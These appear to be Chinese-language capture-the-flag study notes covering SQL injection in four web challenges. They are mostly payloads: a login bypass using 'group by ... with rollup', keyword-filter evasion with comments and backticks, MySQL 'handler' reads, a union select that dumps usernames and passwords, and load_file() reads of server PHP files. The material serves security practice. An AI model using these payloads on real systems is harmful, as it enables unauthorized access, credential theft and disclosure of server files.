1.ctf.show_web10
(1)$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
(2)没有回显
(3)只要用户名密码正确,即可得到flag
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
1.group by
2.with rollup
是不是所有的登录框都可以用它呢?要确定它是否可以用户名密码都为空。
2.【攻防世界】supersqli
(1) preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
(2)有回显
show databases;
show tables;
show columns from `表名`; //不是单引号
//查看字段
handler `表名` open as `a`;
handler `a` read next;
【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客
3.ctf.show_web14
在Switch中,case 里如果没有 break,则会继续向下执行 case
1.有输入框,sql注入
2.输入 -1 union select databases--+ 没反应,可能存在过滤。
空格用 /**/
information_schema.tables 或 .columns 用反引号 information_schema.`tables`
--+ 一般用 #
3.同时查3个字段
?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content
4.从数据库中查看文件内容,mysql提供了读取本地文件的函数load_file()
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
CTF show WEB14_ctf.show_web14-CSDN博客
4.【攻防世界】fakebook
1.本道题真的要创建一个博客。创建完后在登录,发现?no=1 。sql注入
?no=-1 union/**/select 1,user(),3,4--+
发现在 root 权限下 ,用 load_file
?no=-1 union/**/select/**/1,load_file("/var/www/html/flag.php"),3,4--+